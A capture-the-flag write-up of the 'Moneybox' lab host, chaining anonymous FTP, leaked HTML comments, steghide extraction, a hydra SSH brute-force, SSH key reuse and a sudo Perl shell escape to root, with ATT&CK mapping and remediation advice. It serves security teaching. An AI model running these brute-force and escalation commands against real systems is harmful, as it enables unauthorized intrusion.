Moneybox
- Vulnerability
- Leaked secrets → stego foothold → SSH key reuse → sudo Perl
- Impact
- Full compromise — local and root flags captured (2/2)
- Tools
- nmap, ftp, gobuster, steghide, hydra, ssh
- Given
- A single IP, no credentials
MITRE ATT&CK Mapping
| Tactic | Technique | ID | Evidence |
|---|---|---|---|
| Reconnaissance | Active Scanning: Vulnerability Scanning | T1046 | nmap scan discovered open ports 21, 22, 80 |
| Discovery | Active Scanning: Wordlist Scanning | T1595.003 | gobuster enumeration revealed /blogs/ and /S3cr3t-T3xt/ directories |
| Credential Access | Brute Force: Password Guessing | T1110.001 | hydra performed password attack against SSH user 'renu' |
| Collection | Credentials In Files | T1552.001 | steghide extracted hidden message from JPEG image |
| Lateral Movement | Unsecured Credentials: Private Keys / Remote Services: SSH | T1552.004 + T1021.004 | SSH public key hash matched between renu and lily authorized_keys |
| Privilege Escalation | Abuse Elevation Control Mechanism: Sudo and Sudo Caching | T1548.003 | sudo NOPASSWD Perl allowed direct execution as root |
Vulnerability Analysis
Root Causes: Six independent misconfigurations, each minor, chained into complete compromise.
- CWE-540: Inclusion of Sensitive Information in Source Code — HTML comments disclosed hidden paths and a secret key
- CWE-321: Use of Hard-coded Cryptographic Key — Secret key embedded in web page source
- CWE-521: Weak Password Requirements — Weak SSH password, hinted at in steganographic data, was crackable by brute force
- CWE-798: Use of Hard-coded Credentials — Same SSH key accepted across accounts without rotation
- CWE-273: Improper Check for Dropped Privileges — Unchecked sudo NOPASSWD on an interpreter
Severity: No CVSS score applies — these are configuration weaknesses on a lab host, not a scored vulnerability in a shipped product. The end result is unauthenticated-to-root compromise.
Summary
Moneybox is a Linux host rated Easy. A full compromise came from chaining a series of
small information leaks into a complete takeover: anonymous FTP handed over an image with data hidden
inside it, a public web page leaked the passphrase to unlock that image, the extracted note named a user
with a weak password, and from that first shell a reused SSH key and a careless sudo rule
walked the way to root.
Key insight: no single bug here was exotic. The box falls because each service leaks just a little — a readable file, a comment, a reused key — and the leaks compound. Defence means closing every one of them, not just the last.
Recon
A full TCP scan followed by a service/script scan on the open ports:
nmap -p- --min-rate 5000 <target>
nmap -sC -sV -p 21,22,80 <target>
| Port | Service | Version |
|---|---|---|
| 21 | FTP | vsftpd 3.0.3 |
| 22 | SSH | OpenSSH 7.9p1 (Debian) |
| 80 | HTTP | Apache 2.4.38 (Debian) |
The script scan also flagged that anonymous FTP login was permitted and listed a single
file, trytofind.jpg.
FTP — anonymous access
Logging in as anonymous with a blank password and pulling the file down:
ftp <target>
Name: anonymous
Password: <blank>
ftp> ls -la
-rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg
ftp> get trytofind.jpg
The filename is a nudge: something is hidden in the image. But an image on its own is useless without the passphrase — which the web server turned out to be giving away.
Web enumeration
Directory brute-forcing the web root turned up a /blogs/ directory:
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
The page at /blogs/ carried an HTML comment pointing at a second hidden directory, and that
directory's source held a second comment disclosing a secret key:
<!-- the hint is the another secret directory is S3cr3t-T3xt -->
...
<!.. Secret Key <redacted> >
Why this matters: HTML comments are served to every visitor. "Hidden" directories and keys left in page source are not hidden at all — they are public.
Foothold — steganography
Triaging the image first (exiftool, strings, binwalk,
xxd | tail) showed no appended data and a clean JPEG end marker — meaning the data was
embedded, not tacked onto the end. That points at steghide, and the secret key from
the web page was the passphrase:
steghide extract -sf trytofind.jpg -p <key>
wrote extracted data to "data.txt"
data.txt held a message addressed to renu, warning that the account's
password was weak — effectively naming a user and inviting a guessing attack.
SSH credential attack
With a username and a hint that the password was weak, a wordlist attack against SSH recovered it:
hydra -l renu -P <wordlist> ssh://<target> -t 4
[22][ssh] login: renu password: <redacted>
Local flag
SSH as renu succeeded and the first flag was readable in the home directory. renu
had no sudo rights:
renu@MoneyBox:~$ id
uid=1001(renu) gid=1001(renu) groups=1001(renu)
renu@MoneyBox:~$ cat ~/local.txt
<redacted>
renu@MoneyBox:~$ sudo -l
Sorry, user renu may not run sudo on MoneyBox.
Lateral movement — renu → lily
renu's shell history referenced generating an SSH key and copying it to a second user,
lily. A hash comparison confirmed renu's public key was the entire
contents of lily's authorized_keys — so renu's private key logs
straight in as lily:
sha256sum ~/.ssh/id_rsa.pub /home/lily/.ssh/authorized_keys
886437...5732 /home/renu/.ssh/id_rsa.pub
886437...5732 /home/lily/.ssh/authorized_keys
Logging in as lily with the matching private key succeeded with no password prompt.
Privilege escalation — lily → root
lily was allowed to run the Perl interpreter as root with no password:
lily@MoneyBox:~$ sudo -l
User lily may run the following commands on MoneyBox:
(ALL : ALL) NOPASSWD: /usr/bin/perl
Perl can spawn a shell, and under sudo that shell runs as root — a standard GTFOBins
technique:
lily@MoneyBox:~$ sudo perl -e 'exec "/bin/sh";'
# id
uid=0(root) ...
# cat /root/proof.txt
<redacted>
Root flag captured — full compromise achieved.
Findings & remediation
| # | Finding | Severity | Remediation |
|---|---|---|---|
| 1 | Anonymous FTP enabled | Medium | Disable anonymous login; remove vsftpd if unused |
| 2 | Secret leaked in HTML comments | Medium | Strip comments and hidden paths from public pages |
| 3 | Secret hidden in a publicly served image | Medium | Never store secrets in web-accessible files |
| 4 | Weak SSH password, no lockout | High | Enforce key-based auth; set PasswordAuthentication no; add fail2ban |
| 5 | SSH key reuse across accounts | High | Audit every authorized_keys; a user's key in another user's file is a finding |
| 6 | sudo NOPASSWD on Perl interpreter | Critical | Remove NOPASSWD on interpreters; they cannot be exposed via sudo safely |
Takeaways
- Leaks compound. A readable FTP file, a comment in page source, and a reused key are each minor; chained together they are a root shell.
- Interpreters in sudo are game over. Any entry like
perl,pythonorvimunderNOPASSWDis a direct path to root — check GTFOBins. - Enumerate every service. The win needed FTP, HTTP and SSH together; stopping at the first one would have dead-ended.
References & Standards
- MITRE Framework
- MITRE ATT&CK — Adversary Tactics, Techniques, and Common Knowledge
- NIST Cybersecurity Framework
- NIST Cybersecurity Framework (CSF) — Identify, Protect, Detect, Respond, Recover
- NIST SP 800-61: Computer Security Incident Handling Guide
- OWASP & CWE
- OWASP Top 10 — Most Critical Web Application Security Risks
- CWE — Common Weakness Enumeration
- Security Guidance
- GTFOBins — curated Unix binaries usable to bypass local security restrictions (relevant to the sudo/Perl escalation)
- CIS Benchmarks — Security Configuration Standards
- OWASP Cheat Sheet Series — Practical Security Guidance